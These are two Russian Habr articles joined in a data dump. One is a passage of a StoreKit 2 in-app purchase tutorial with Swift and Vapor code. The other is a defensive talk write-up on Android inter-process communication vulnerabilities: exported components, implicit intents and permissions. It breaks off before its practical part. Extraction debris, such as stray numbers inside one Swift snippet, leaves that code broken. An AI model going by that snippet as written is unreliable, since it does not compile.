Появится новый класс EntitlementsManager, который будет нести исключительную ответственность за сохранение состояния разблокированной функции, которое происходит при покупке продукта. PurchaseManager обновит EntitlementsManager после вызова Transaction.currentEntitlements из уже существующей функции updatePurchasedProducts().
```
import SwiftUI
class EntitlementManager: ObservableObject {
static let userDefaults = UserDefaults(suiteName: "group.your.app")!
@AppStorage("hasPro", store: userDefaults)
var hasPro: Bool = false
}
```
EntitlementManager — это еще один ObservableObject, поэтому вью SwiftUI может наблюдать за изменениями и обновляться всякий раз, когда в нем что-то меняется. SwiftUI поставляется с очень хорошей [оберткой свойств](https://developer.apple.com/documentation/swiftui/appstorage) под названием [@AppStorage](/users/AppStorage), которая сохраняет свое значение в UserDefaults(suiteName:«group.your.app»), а также будет действовать как переменная [@Published](/users/Published), которая будет перерисовывать ваши вью SwiftUI при обновлении.
Следующим шагом является предоставление PurchaseManager-у экземпляра EntitlementManager для обновления в updatePurchasedProducts().
```
class PurchaseManager: ObservableObject {
...
private let entitlementManager: EntitlementManager
init(entitlementManager: EntitlementManager) {
self.entitlementManager = entitlementManager
}
...
func updatePurchasedProducts() async {
for await result in Transaction.currentEntitlements {
guard case .verified(let transaction) = result else {
continue
}
if transaction.revocationDate == nil {
self.purchasedProductIDs.insert(transaction.productID)
} else {
self.purchasedProductIDs.remove(transaction.productID)
}
}
self.entitlementManager.hasPro = !self.purchasedProductIDs.isEmpty
}
}
```
Последняя переработка связана с инициализацией PurchaseManager в App. Раньше PurchaseManager можно было создать как StateObject с помощью [@StateObject](/users/StateObject) var PurchaseManager = PurchaseManager(). Теперь у нас будет две переменные StateObject, одна из которых зависит от другой, поэтому код инициализации должен быть более подробным.
```
struct YourApp: App {
@StateObject
private var entitlementManager: EntitlementManager
@StateObject
private var purchaseManager: PurchaseManager
init() {
let entitlementManager = EntitlementManager()
let purchaseManager = PurchaseManager(entitlementManager: entitlementManager)
self._entitlementManager = StateObject(wrappedValue: entitlementManager)
self._purchaseManager = StateObject(wrappedValue: purchaseManager)
}
var body: some Scene {
WindowGroup {
ContentView()
.environmentObject(entitlementManager)
.environmentObject(purchaseManager)
.task {
await purchaseManager.updatePurchasedProducts()
}
}
}
}
```
```
struct ContentView: View {
@EnvironmentObject
private var entitlementManager: EntitlementManager
@EnvironmentObject
private var purchaseManager: PurchaseManager
var body: some View {
VStack(spacing: 20) {
if entitlementManager.hasPro {
Text("Thank you for purchasing pro!")
} else {
Text("Products")
ForEach(purchaseManager.products) { product in
```
ContentView переработан с новым классом EntitlementManager. Он имеет ту же функциональность, что и предыдущий шаг, но поведение разблокировки функции теперь полностью перемещено за пределы PurchaseManager. У PurchaseManager есть одна задача — заниматься покупками и транзакциями; это означает, что расширениям даже не нужно знать, что он существует.
Чтобы расширения могли проверять статус разблокировки, EntitlementManager просто необходимо предоставить целевым объектам расширений, что дает расширению возможность вызывать entitlementManager.hasPro. См. фрагмент ниже для точного кода, используемого в расширениях:
```
let entitlementManager = EntitlementManager()
if entitlementManager.hasPro {
// Do something
} else {
// Don't do something
}
```
### Приложение в Watch
Как упоминалось выше, приложения-компаньоны ведут себя иначе, чем расширения, потому что они не получают тех же данных от приложения iOS с Transaction.currentEntitlements. Приложения на Watch также не могут использовать UserDefaults, которые совместно используются через группу приложений, а это означает, что EntitlementManager нельзя использовать непосредственно в приложении watchOS. Однако приложение для часов может использовать WatchConnectivity для связи с основным приложением iOS, которое может возвращать статусы прав из EntitlementManager. Возможно, это не та функция, которая будет нужна большинству разработчиков, но полезно знать, чем приложение для watchOS может отличаться от других расширений приложений для iOS.
Полную реализацию до этого шага можно увидеть [здесь](https://github.com/RevenueCat/storekit2-demo-app/tree/main/StepByStepExamples/Step7).
### Шаг 8: Обработка продлений, отмен, проблем с выставлением счетов и т. д.
Это еще одна область, в которой блистает Transaction.currentEntitlements. Как упоминалось ранее, Transaction.currentEntitlements вернет последнюю транзакцию для каждой активной подписки с автопродлением и последнюю транзакцию для каждой подписки без автопродления.
Это означает, что всякий раз, когда приложение открывается, Transaction.currentEntitlements будет иметь обновленные транзакции, отражающие любые продления, отмены или проблемы с выставлением счетов. Пользователи сохранят свои права при продлении подписки и потеряют их при отмене. Пользователи также потеряют свои подписки, если возникнут какие-либо нерешенные проблемы с выставлением счетов.
Несмотря на то, что приложение будет следить за тем, чтобы пользователь получал правильный доступ к текущему состоянию своих подписок, это может привести к не лучшему взаимодействию с пользователем. Продление и отмена — это события, о которых пользователей не нужно уведомлять, но пользователь захочет получать уведомления о проблеме с выставлением счетов. Проблемы с выставлением счетов - это, как правило, незапланированные события, о которых пользователи захотят позаботиться, чтобы подписка не прерывалась.
Аппаратная обработка подписки не может хорошо информировать пользователя о проблемах с выставлением счетов и льготных периодах. Статус подписки всегда может быть актуальным, но в этом случае будет полезно обрабатывать подписку на стороне сервера. Обработка подписки на стороне сервера позволяет быстрее обнаруживать проблемы с выставлением счетов и льготными периодами, а также позволяет приложениям информировать пользователей.
### Шаг 9: Проверка поступлений
[Проверка поступлений](https://www.revenuecat.com/blog/engineering/validating-app-store-receipts/) исторически была очень важной задачей при интеграции StoreKit. В StoreKit 1 проверка и анализ квитанции были единственным способом определения покупок и того, что нужно разблокировать для пользователей. У Apple есть целая [страница документации по выбору наилучшего способа проверки](https://developer.apple.com/documentation/storekit/in-app_purchase/original_api_for_in-app_purchase/choosing_a_receipt_validation_technique) квитанций об оплате, в которой упоминается, что существует два способа проверки подлинности квитанции:
* Локальная, аппаратная проверка квитанции, которая лучше всего подходит для проверки подписи квитанции для приложений со встроенными покупками.
* Проверка квитанций на стороне сервера с помощью App Store, которая лучше всего подходит для сохранения встроенных покупок для ведения записей о покупках и управления ими.
До этого момента этот туториал был сосредоточен на полной локальной реализации StoreKit без каких-либо серверных компонентов. Таким образом, локальная аппаратная проверка остается единственным способом проверки подлинности квитанции. Существует также множество сообщений в блогах о том, как [проверять и анализировать квитанцию](https://www.revenuecat.com/blog/app-store-receipt-file-example/), но, к счастью, любые мысли о поступлении можно игнорировать из-за улучшений, внесенных в StoreKit 2.
Причина, по которой квитанция до сих пор не упоминалась, заключается в том, что StoreKit 2 инкапсулирует весь синтаксический анализ и проверку внутри Transaction.currentEntitlements и Transaction.all, поэтому разработчикам не нужно беспокоиться ни о чем из этого.
### Шаг 10: Поддержка встроенных покупок из App Store
Покупки в приложении не всегда инициируются из самого приложения: существуют потоки, в которых пользователь может приобретать встроенные продукты непосредственно из App Store. Разработчики могут устанавливать [продвинутые встроенные покупки](https://developer.apple.com/app-store/promoting-in-app-purchases/), которые отображаются на странице продукта этого приложения. Когда пользователь нажимает на встроенные продукты на странице App Store, приложение открывается и предлагает пользователю завершить покупку. Однако iOS не продолжает автоматически действие пользователя по покупке продукта. Разработчику необходимо добавить наблюдателя, чтобы определить, когда происходит такое поведение, но начиная с iOS 16, добавление подобного наблюдателя с помощью StoreKit 2 невозможно.
Продолжить транзакцию из App Store можно только с API StoreKit 1:
1. Настраиваем протокол класса SKPaymentTransactionObserver (должен наследоваться от NSObject).
2. Реализуем функцию paymentQueue(\_:shouldAddStorePayment:for:).
3. Добавляем SKPaymentTransactionObserver в SKPaymentQueue.
```
@MainActor
class PurchaseManager: NSObject, ObservableObject {
...
init(entitlementManager: EntitlementManager) {
self.entitlementManager = entitlementManager
super.init()
SKPaymentQueue.default().add(self)
}
...
}
extension PurchaseManager: SKPaymentTransactionObserver {
func paymentQueue(_ queue: SKPaymentQueue, updatedTransactions transactions: [SKPaymentTransaction]) {
}
func paymentQueue(_ queue: SKPaymentQueue, shouldAddStorePayment payment: SKPayment, for product: SKProduct) -> Bool {
return true
}
}
```
*Эта реализация (где paymentQueue(*:shouldAddStorePayment:for:) возвращает true) продолжит транзакцию, как только пользователь войдет в приложение. Это самый простой способ заставить этот поток работать, но бывают случаи, когда немедленное продолжение транзакции может быть не лучшим поведением. Если это так, транзакции можно отложить на более позднее (и лучшее) время, вернув false и вручную добавив SKPayment в SKPaymentQueue, когда это лучше всего подходит для приложения.
Полную реализацию этого шага можно увидеть [здесь](https://github.com/RevenueCat/storekit2-demo-app/tree/main/StepByStepExamples/Step10).
### Завершение данного туториала по аппаратной подписке
На этом туториал по внедрению встроенных покупок исключительно на устройстве завершен. Пользователь может просмотреть список продуктов на выбор, приобрести продукт, разблокировать контент или опции в приложении, восстановить покупки, использовать разблокировку в расширениях приложения, а также приобрести продвинутые продукты в App Store. Все это было реализовано в приложении с помощью Swift с использованием преимущественно StoreKit 2, но частично StoreKit 1.
Такой тип реализации StoreKit может очень хорошо работать для некоторых типов приложений. Например, он может хорошо работать, если приложение предназначено только для платформ Apple и использует [Universal Purchases](https://developer.apple.com/support/universal-purchase/). Пользователи смогут приобрести IAP и получить ожидаемый контент или разблокировку опций в приложении.
Однако, одна лишь аппаратная реализация StoreKit может быть не идеальной для некоторых типов приложений. Статус подписки не может передаваться между платформами в веб или другие нативные платформы. Этот метод не дает разработчикам информации о поведении пользователей. Пользователи не могут быть уведомлены напрямую вне приложения (по электронной почте или другими способами) об ошибках выставления счетов или о кампаниях по возврату средств при отмене подписки. Во всей магии StoreKit 2 заключено множество данных и скрытых возможностей.
В следующем разделе этого туториала мы расскажем немного о том, что нужно для реализации StoreKit 2 с помощью бэкенда пользовательского сервера. Продолжайте читать, чтобы узнать, станет ли это лучшим решением для вас.
### Реализация StoreKit 2 с помощью сервера
В приведенных выше шагах мы реализовали приложение с полной подпиской без необходимости писать какой-либо код вне приложения, но это не единственный вариант. Помимо собственных API StoreKit 2, Apple предлагает API сервера App Store для получения истории транзакций и статуса подписки.
В этой части туториала будет обсуждаться, как спроектировать веб-сервер для взаимодействия с сервером App Store и как связать приложение iOS с веб-сервером.
Образец бэкенда будет написан на [Vapor](https://vapor.codes/)(веб-сервере Swift) с заглушенными функциями и маршрутами. Пользовательский бэкенд можно найти [здесь](https://github.com/RevenueCat/storekit2-demo-app/tree/main/demoserver).
### Сервер App Store
Это сервис с соответствующим названием для связи с App Store по поводу встроенных покупок и подписок. С ним можно взаимодействовать двумя способами: вызывая [API Сервера App Store](https://developer.apple.com/documentation/appstoreserverapi) и используя [Уведомления Сервера App Store](https://developer.apple.com/documentation/appstoreservernotifications).
### API Сервера App Store (App Store Server API)
App Store Server API — это REST API для запроса информации о встроенных покупках клиентов. Этот API можно использовать для получения истории транзакций клиента, просмотра статуса всех подписок с автопродлением, обновления статуса расходуемых IAP, поиска заказов, получения истории возврата средств и продление даты обновления подписки. Для большинства этих конечных точек требуется исходный идентификатор транзакции, который получается из объекта Transaction после совершения покупки через собственный API StoreKit 2.Запросы к App Store Server API авторизуются путем генерации Web-Tокена JSON (JWT). Для генерации JWT необходимы [Секретные ключи](https://developer.apple.com/documentation/appstoreserverapi/creating_api_keys_to_use_with_the_app_store_server_api), которые могут быть созданы через App Store Connect.
### Уведомления Сервера App Store
Уведомления сервера App Store предоставляют возможность отслеживать события покупки в приложении в режиме реального времени с помощью прямых уведомлений из App Store. URL-адрес HTTPS веб-сервера должен быть задан в App Store Connect для того, чтобы App Store Server Notifications, чтобы знать, куда отправлять запрос. Для каждой продакшн-среды и среды песочницы можно задать разные URL-адреса.
Существует [15 различных типов уведомлений](https://developer.apple.com/documentation/appstoreservernotifications/notificationtype), которые будут отправлены из версии 2 уведомлений сервера App Store:
* CONSUMPTION\_REQUEST
* DID\_CHANGE\_RENEWAL\_PREF
* DID\_CHANGE\_RENEWAL\_STATUS
* DID\_FAIL\_TO\_RENEW
* DID\_RENEW
* EXPIRED
* GRACE\_PERIOD\_EXPIRED
* OFFER\_REDEEMED
* PRICE\_INCREASE
* REFUND
* REFUND\_DECLINED
* RENEWAL\_EXTENDED
* REVOKE
* SUBSCRIBED
* TEST
Запросы из App Store Server Notifications отправляются как HTTP POST, где полезная нагрузка подписывается App Store в формате веб-подписи JSON (JSON Web Signature - JWS). JWS используется для повышения безопасности и уверенности в том, что полезная нагрузка была отправлена из App Store.
[Полезная нагрузка уведомлений](https://developer.apple.com/documentation/appstoreservernotifications/responsebodyv2) содержит:
* Тип уведомления
* Подтип уведомления
* UUID уведомления
* [Данные](https://developer.apple.com/documentation/appstoreservernotifications/data):
+ Apple ID приложения
+ ID пакета
+ Версия Bundler
+ Среда
+ [Информация о продлении](https://developer.apple.com/documentation/appstoreservernotifications/jwsrenewalinfodecodedpayload)
+ [Информация о транзакции](https://developer.apple.com/documentation/appstoreservernotifications/jwstransactiondecodedpayload)
Чтобы проверить соединение между App Store и бэкендом, наблюдающим за App Store Server Notifications, [можно запросить тестовое событие](https://developer.apple.com/documentation/appstoreserverapi/request_a_test_notification) в App Store Server API. Это самый простой способ выполнить сквозное тестирование соединения. До появления этого метода выполнить тест можно было, купив продукт либо в песочнице, либо в рабочем приложении.
Проектирование системы
----------------------
Держа в голове App Store Server API и App Store Server Notifications, пришло время спроектировать систему.
### Покупка продуктов
Покупка продукта по-прежнему должна осуществляться с помощью Products.purchase(product) через собственный API StoreKit 2, но после этого все быстро меняется. Приложение больше не будет полагаться на Transaction.currentEntitlements StoreKit 2 для определения того, какие продукты активны в данный момент; вместо этого он отправит информацию о транзакции в бэкенд. Бэкенд запрашивает исходный идентификатор транзакции, чтобы иметь возможность получать историю транзакций из App Store Server API и сопоставлять обновленные транзакции из App Store Server Notifications для пользователя. Это дает преимущество возможности независимо проверить покупку, а также дает бэкенду концепцию подписки.
Наряду с публикацией транзакции после успешной покупки приложение также должно публиковать обновления транзакций, которые оно обнаруживает, наблюдая за Transaction.updates. Это необходимо для покупок .pending, которые ожидали Строгой Аутентификации Клиента или Запроса на Покупку, у которых не было идентификаторов транзакций на момент покупки.
Ниже приведен пример того, как могут выглядеть изменения в приложении для iOS.
```
func purchase(_ product: Product) async throws {
let result = try await product.purchase()
switch result {
case let .success(.verified(transaction)):6 await transaction.finish()
await postTransaction(transaction)
case let .success(.unverified(_, error)):9 break
case .pending:
break
case .userCancelled:
break
@unknown default:
break
}
}
private func observeTransactionUpdates() -> Task {
Task(priority: .background) {
for await result in Transaction.updates {
guard case .verified(let transaction) = result else {
continue
}
guard let product = products.first(where: { product in
product.id == transaction.productID
}) else { continue }
await postTransaction(transaction, product: product)
}
}
}
func postTransaction(\_ transaction: Transaction, product: Product) async {
let originalTransactionID = transaction.originalID
let body: [String: Any] = [
"original\_transaction\_id": originalTransactionID,
"price": product.price,
"display\_price": product.displayPrice
]
await httpPost(body: body)
}
```
Образец бэкенда Vapor получит новую конечную точку для публикации транзакции. Конечная точка должна выполнять все следующие действия:
* Убедиться, что пользователь приложения вошел в систему
* Отправить запрос на сервер App Store для проверки и получения информации о транзакции
* Хранить важную информацию о транзакциях в базе данных
* Определять и обновлять разблокированные права или опции для вошедшего в систему пользователя
Ниже показано начало того, как будет выглядеть пример бэкенда Vapor.
```
app.post("apple/transactions") { req async -> Response in
do {
let newTransaction = try req.content.decode(PostTransaction.self)
let transaction = processTransaction(
originalTransactionID: newTransaction.originalTransactionId)
return try await transaction.encodeResponse(for: req)
} catch {
return .init(status: .badRequest)
}
}
```
Обратите внимание, что все обновления транзакций (продление, отмена и т. д.) также будут отслеживаться с помощью этой функции. Это означает, что бэкенд может получать повторяющиеся транзакции из приложения и в режиме реального времени из App Store Server Notifications. Бэкенд должен быть в состоянии обрабатывать эту модель поведения.
### Обработка цен на продукцию
Сохранение цены вместе с транзакцией важно для понимания стоимости пожизненного (LTV) обслуживания клиента и принятия решений о расходах на привлечение пользователей. Лучший способ сделать это — хранить общую сумму расходов пользователя в истории транзакций.
Возможно вас удивит тот факт, что App Store Server не включает в транзакции цену или валюту продукта. Это означает, что приложению для iOS необходимо передавать цену продукта. Объект Product в StoreKit 2 имеет свойства price (числовое значение) и displayPrice (строковое значение), которые можно использовать для этой цели. StoreKit 2 (начиная с iOS 16) не имеет возможности напрямую получить валюту, используемую для покупки продукта. Отправка displayPrice дает бэкенду возможность вручную проанализировать валюту на основе символа в строке. Если ручного анализа валюты недостаточно, можно использовать StoreKit 1 для получения валюты из объекта SKProduct. Это муторно и требует больше работы, но это будет более надежно.
### Обработка продлений, отмен, проблем с выставлением счетов и т. д.
Приложение теперь зависит от пользовательского бэкенда, чтобы поддерживать актуальность всех подписок и транзакций. Бэкенд должен как можно скорее быть уведомлен о продлениях, отменах, проблемах с выставлением счетов и возмещениях, чтобы пользователь приложения не получал функции или услуги, за которые он не платит. Это можно сделать двумя способами:
* Наблюдая в реальном времени за уведомлениями из App Store Server Notifications
* Опрашивая App Store Server API
Хотя нет необходимости реализовывать и то, и другое, это позволит создать гораздо более прочный, надежный и заслуживающим доверия источник.
Наблюдая за App Store Server Notifications
Активация App Store Server Notifications - это лучшая практика и наиболее эффективный способ поддерживать актуальность статуса подписки и возмещенных транзакций. Apple отправляет HTTP POST на URL-адрес, определенный разработчиком в App Store Connect, с информацией об обновленной транзакции, как только она была обновлена. Это гарантирует, что любая система, наблюдающая за App Store Server Notifications, будет соответствовать информации о транзакциях, которую Apple имеет в файле.
Фрагмент кода ниже показывает, как начать обработку уведомлений с сервера App Store:
1. Запрос отправляется на https://.com/apple/notifications.
2. Полезная нагрузка запроса декодируется в структуру Swift SignedPayload, которая представляет [responseBodyV2](https://developer.apple.com/documentation/appstoreservernotifications/responsebodyv2). Структура содержит подписанную полезную нагрузку (JWS).
3. Подписанная полезная нагрузка декодируется с использованием корневого сертификата Apple в структуру Swift NotificationPayload, которая представляет[responseBodyV2DecodedPayload](https://developer.apple.com/documentation/appstoreservernotifications/responsebodyv2decodedpayload).
4. Затем NotificationPayload отправляется в рабочую очередь для обработки транзакции вне основного процесса веб-сервера. Именно здесь будут выполняться обновления базы данных транзакций и прав доступа пользователей, а также здесь можно отправлять электронные письма или другие уведомления пользователям, чтобы сообщить им о любых проблемах с выставлением счетов, истечении срока действия или возможных предложениях по возврату средств.
```
struct SignedPayload: Decodable {
let signedPayload: String
}
struct NotificationPayload: JWTPayload {
let notificationType: NotificationType
let notificatonSubtype: NotificationSubtype?
let notificationUUID: String
let data: NotificationData
let version: String
let signedDate: Int
func verify(using signer: JWTSigner) throws {
}
}
app.post("apple/notifications") { req async -> HTTPStatus in
do {
let notification = try req.content.decode(SignedPayload.self)
let payload = try req.application.jwt.signers.verifyJWSWithX5C(
notification.signedPayload,
as: NotificationPayload.self,
rootCert: appleRootCert)
// Add job to process and update transaction
// Updates user's entitlements (unlocked products or features)
try await req.queue.dispatch(AppleNotificationJob.self, payload)
return .ok
} catch {
return .badRequest
}
}
```
Полную модель SignedPayload можно найти [здесь](https://github.com/RevenueCat/storekit2-demo-app/blob/main/demoserver/Sources/App/models.swift).
Одна из самых рискованных частей использования App Store Server Notifications — пропустить уведомления. Если сервер App Store не получает ответ или обнаруживает неверный HTTP-ответ на веб-запрос, он повторяет попытку отправить уведомление еще пять раз. Эти повторные попытки будут происходить через 1, 12, 24, 48 и 72 часа после предыдущей попытки. Наиболее вероятно, что это произойдет из-за перебоев в работе сервера или службы. У Apple есть другое решение для этого — [получение истории уведомлений](https://developer.apple.com/documentation/appstoreserverapi/get_notification_history) через App Store Server API. Если какая-либо из этих попыток будет пропущена, App Store Server API можно использовать для воспроизведения этих уведомлений, чтобы получить резервную копию.
Существует более [обширная документация](https://developer.apple.com/documentation/appstoreservernotifications) о том, как включать, получать и отвечать на уведомления, которые выходят за рамки этого туториала.
Опрос App Store Server API
Даже при использовании уведомлений в режиме реального времени, для надежной системы необходим периодический опрос App Store Server API на наличие обновлений транзакций. Обработка транзакций очень похожа на уведомления в реальном времени, но сложная часть этого подхода заключается в том, чтобы определить, как часто планировать эти вызовы API к серверу App Store.
Наиболее очевидным подходом было бы планирование подписок с автопродлением сразу после истечения срока их действия или продления. Статусы подписки также должны быть проверены перед их продлением, чтобы увидеть, не были ли они отменены, что позволяет предупредить пользователя о скором окончании обслуживания или попытаться вернуть пользователя с помощью какого-либо предложения. Идеального момента для этого не существует, поскольку пользователь может отменить услугу в любое время. В начале этот опрос может быть нечастым и становиться более частым по мере приближения срока действия или времени обновления.
Опрос также необходимо будет перенести после периода продления, если возникнут проблема с выставлением счетов из-за льготного периода. Это позволяет пользователю сохранить обслуживание на несколько дней, если он сможет исправить свою платежную информацию.
Подписки без автопродления и нерасходуемые продукты также следует опрашивать на наличие обновлений. Несмотря на то, что у этих типов событий нет событий отмены или продления, пользователь может запросить возврат средств, что может привести к аннулированию доступа к услугам или контенту.
Поначалу опрос кажется технически простым, но может быстро превратиться в сложный танец планирования, поэтому лучше всего использовать уведомления сервера App Store: Apple будет уведомлять только о тех вещах, которые меняются, и точном времени их изменения.
### Список продуктов
Доступные для покупки продукты будут возвращены API. Эти идентификаторы продуктов в идеале должны храниться в базе данных, чтобы их можно было легко настроить при изменении платного доступа к приложению. Идентификаторы продуктов, предоставляемые через API, позволяют даже проводить A/B-тестирование платных сетей с пользователями, чтобы определить, какой список продуктов работает лучше всего. Любое решение здесь лучше, чем жестко запрограммировать идентификатор продукта в приложении, которое можно изменить только через обновление приложения.
### Преимущества и компромиссы
Собственный API StoreKit 2 скрывает множество тонкостей покупок и подписок в приложении, когда дело доходит до определения текущих прав. Есть веские причины использовать только собственный API, но есть и другие причины использовать серверную часть для управления подписками, в том числе следующие:
* Получайте уведомления в режиме реального времени об изменении статуса подписки и возврате средств
* Проверка транзакций и квитанций
* Управляйте клиентами и предлагайте возмещение и продление подписки
* Анализируйте статистику доходов и оттока вне App Store Connect
* Привязать статус подписки к функциям серверной службы
* Делитесь покупками в Интернете и на других мобильных платформах
Разработка серверной реализации для обработки IAP с помощью StoreKit 2 становится экспоненциально более сложной по сравнению с чистой реализацией на устройстве. Из-за этого эта часть руководства не будет полным пошаговым руководством по созданию собственного бэкенда подписки.
### Заключительные заметки
Наша главная цель в RevenueCat — помочь разработчикам заработать больше денег. Мы делаем это, предлагая целую [платформу мобильной подписки](https://www.revenuecat.com/) с собственными и [кросс-платформенными SDK](https://github.com/RevenueCat), чтобы максимально упростить интеграцию покупок в любом приложении. Нашим клиентам не нужно беспокоиться о различных собственных API-интерфейсах подписки или сложностях синхронизации статуса подписки с продлением, отменой и проблемами выставления счетов.
Несмотря на то, что мы хотели бы иметь всех в качестве клиентов, мы знаем, что иногда лучше создавать свои собственные, и в конце концов мы хотим, чтобы все разработчики преуспели. | https://habr.com/ru/post/707730/ | null | ru | null |
# Уязвимости в реализации межпроцессного взаимодействия в Android-приложениях
Последние 6 лет я работаю экспертом по информационной безопасности в Одноклассниках и отвечаю за безопасность приложений.
Мой доклад сегодня — о механизмах межпроцессного взаимодействия в Android и уязвимостях, связанных с их неверным использованием.
Но сначала пара слов о том, как появился этот [доклад](https://www.youtube.com/watch?v=T8yE-1-LYMA&feature=youtu.be).
Наверное, вы уже заметили, что на каждом [Heisenbug](https://heisenbug-moscow.ru/?utm_source=habr&utm_medium=525280) есть как минимум один доклад про безопасность, например про [XSS](https://www.youtube.com/watch?v=EmJnUqFgaK8) или [поиск уязвимостей в веб-приложениях](https://www.youtube.com/watch?v=X7ajJ2oGfzk). Тема мобильной безопасности осталась не охвачена, хотя мы живем в 2020 году, и аудитория мобильных приложений уже давно превысила аудиторию веба. Мне хотелось выбрать тему из мира мобильной безопасности — достаточно конкретную, чтобы выдержать формат технического доклада, но при этом достаточно распространенную.
Проблемы безопасности на мобилках
---------------------------------
Единым местом концентрации всех знаний про безопасность приложений, и мобильных в частности, является проект [OWASP](https://owasp.org/www-project-mobile-top-10/) (расшифровывается как Open Web Application Security Project), который раз в несколько лет публикует топ-10 самых распространенных рисков для мобильных приложений.
На картинке сверху последняя версия OWASP Mobile Top 10. Первое место в нем занимает категория «неправильное использование платформы». Это довольно общее определение, обратимся к пентест-отчетам за конкретными примерами.
Positive Technologies в прошлом году на основе статистики проводимых аудитов опубликовала отчет о состоянии дел в области безопасности мобильных приложений.
Согласно этому отчёту,
* 38% приложений на Android,
* 22% приложений на iOS
содержат те или иные уязвимости, вызванные неверной реализацией межпроцессного взаимодействия.
38% — это каждое третье приложение!
Для мотивации заглянем в публичные данные из bug bounty программ: сколько было опубликовано похожих уязвимостей и сколько за них заплатили. Точной классификации категорий багов нет, но поискав по ключевым словам на HackerOne, видим что таких багов на Android находится много и оценивают их довольно высоко.
Надеюсь, вы уже все хотите узнать про то, что такое уязвимости межпроцессного взаимодействия.
Начнем с определения!
Межпроцессное взаимодействие
----------------------------
Приложение на Android имеет компонентную модель и может состоять из компонентов нескольких типов.
* Activity — компонент, отвечающий за UI приложения; один экран, который видит пользователь.
* Service отвечает за выполнение операций в бэкграунде. Он может продолжать работу даже, когда приложение не отображается.
* BroadcastReceiver обеспечивает обмен сообщениями между приложениями и операционной системой.
* ContentProvider — компонент для доступа к данным, которые хранит приложение.
В одном приложении может быть больше, чем один компонент каждого типа. В контексте этого поста важно, что некоторые компоненты могут быть доступны для других приложений на этом же устройстве.
То, какие компоненты определены в приложении, доступны они или нет, какими свойствами обладают, описано в файле *AndroidManifest*. Это XML-файл, который поставляется вместе с приложением.
Таким образом приложения на устройстве предоставляют интерфейс, который позволяет им общаться друг с другом путем вызова компонентов, объявленных как публичные (их чаще называют экспортируемые). Это фундаментальная возможность платформы Android. Она позволяет организовать ту самую экосистему из приложений на телефоне, к которой мы так привыкли. К примеру, этой возможностью пользуется камера, когда вы отправляете фото сразу из камеры в мессенджер или в почту. На этой же функциональности построена возможность для приложения дожидаться смс и автоматически подставлять код подтверждения за вас, или возможность для одного приложения прочитать данные другого, например список телефонов с телефонной книжки.
Разработчик не может делать никаких утверждений об остальных приложениях на этом же устройстве и должен предполагать, что рядом может оказаться зловредное приложение, которое будет нарушать существующие контракты и пытаться злоупотребить возможностями платформы. Другими словами, мы всегда должны подозревать, что у пользователя установлен какой-то вирус.
Частое возражение, которое я слышу от разработчиков, что такая угроза существует теоретически, но на практике она маловероятна, поскольку приложения всегда устанавливаются из Google Play, а там они предварительно проверяются. Сложно себе представить, как вообще вирусы могут оказаться на устройстве пользователя.
Это не так.
Google, конечно, совершает феноменальные усилия, чтобы модерировать приложения и не допускать подозрительные или опасные в Стор. Но тем не менее, мы постоянно видим новости о том, что обнаружена очередная сеть приложений, которая признана вредоносной и удалена. До момента удаления такие приложения набирают миллионы установок. Быстрый поиск выдаёт нам десятки таких новостей за 2019 год, то есть проблема реальна, и вероятность того, что какой-то пользователь себе вирус установит, существует. Можно даже с уверенностью сказать, что у части из пользователей вашего приложения вирус установлен.
Механизмы безопасности IPC
--------------------------
Прежде чем понять, какие требования безопасности выдвигать приложениям и как правильно им следовать, нам нужно разобраться с тем, какие же механизмы безопасности Android вообще предоставляет и чем мы можем как разработчики пользоваться.
Вспомним задачу: у нас есть приложение, которое выставляет наружу какую-то часть своей функциональности. Мы предполагаем, что рядом с этим приложением установлено вредоносное приложение, которое пытается злоупотребить нашей функциональностью.
Android предоставляет приложению возможность ограничить доступ к своим компонентам.
Первый способ разграничения доступа для таких вызовов реализован в виде флага *exported*, который может быть указан для каждого из компонентов в манифесте.
Если exported=true, то ваш компонент доступен для остальных приложений. Если exported=false, то компонент недоступен.
```
```
Проблема таится там, где этот флаг в явном виде не указан, и мы предоставляем андроиду выбрать дефолтное значение. Это значение разное для разных ситуаций, что порождает «грабли», на которые разработчики часто наступают.
Другим уровнем системы разграничения доступа для межпроцессных вызовов на Android является модель *пермиссий*. Приложение может определять какие другие приложения получат доступ к его функциям или данным несколькими способами:
* Signature-based основан на подписи приложения, то есть все приложения, которые подписаны одним и тем же сертификатом, могут вызывать компоненты друг друга.
* sharedUserId: два приложения могут в явном виде в манифесте указать, что они пользуются одним и тем же user ID, то они могут обращаться к данным друг друга
* Custom permissions позволяют определять собственные permission для отдельных компонентов.
Как я уже сказала, проблема для разработчиков заключается в том, что все эти слои разграничения доступа накладываются друг на друга, и при беглом взгляде на исходный код не всегда понятно, доступен ли наш компонент, и если да, то для каких приложений.
В чем же проблема? Чтобы разобраться, посмотрим, как вообще устроены эти самые вызовы между приложениями в Android.
Единицей межпроцессного взаимодействия является нечто под названием *Intent*.
Это некая абстракция, которая определяет намерение одного компонента вызвать другой. Intent характеризуется типом действия, который будет совершён и типом данных, с которыми эти действия будут совершаться. В Intent могут передаваться дополнительные данные и возвращаться результат исполнения.
Что вызывает путаницу? Intent-ы бывают явные (explicit) и неявные (implicit).
* Явные — однозначно задан компонент, который будет его обрабатывать.
```
new Intent(getApplicationContext(), SecondActivity.class);
```
* Неявные определяют только тип действий, который мы хотим совершить. Например, мы хотим отредактировать картинку и предоставляем Android возможность самому выбрать из имеющихся редакторов. То, что получатель интента не определен, вносит некоторые риски и накладывает ограничения при разработке приложений. О них чуть позже.
```
Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse(“https://ok.ru/“));
```
*Intent-filter* декларируется в манифесте и определяет, какие именно неявные интенты компонент может обрабатывать.
Добавление интент-фильтра автоматически делает компонент доступным другим приложениям (меняет значение по умолчанию атрибута exported на true). При этом доступным он становится для любых вызовов, в том числе и для явных интентов. Эта особенность часто становится причиной появления новых уязвимостей в приложении.
Требования безопасности для приложения
--------------------------------------
Мы выяснили, как устроены вызовы между приложениями на андроиде, и какие средства предоставляет платформа для контроля доступа к компонентам приложения. Самое время сформулировать требования безопасности для приложений. Первое, что мы узнали, — компоненты могут быть доступны извне и также они могут возвращать какие-то данные вызывающим компонентам. Из этого следует, **что компоненты, возвращающие конфиденциальные данные, не должны быть экспортированы**, то есть не должно быть возможности вызвать их из другого приложения.
Также мы узнали, что мы не можем гарантировать получателя неявных интентов или (если мы их обрабатываем) предсказать отправителя. Это значит, что мы не можем доверять данным, которые переданы в интент по умолчанию. **Мы должны трактовать их как параметры, контролируемые атакующим, то есть возможно измененные, и предварительно проверять их.**
И поскольку мы не знаем, кто получит наш неявный интент, **мы не можем передавать в нем секретные данные.**
Теперь обратимся к практике.
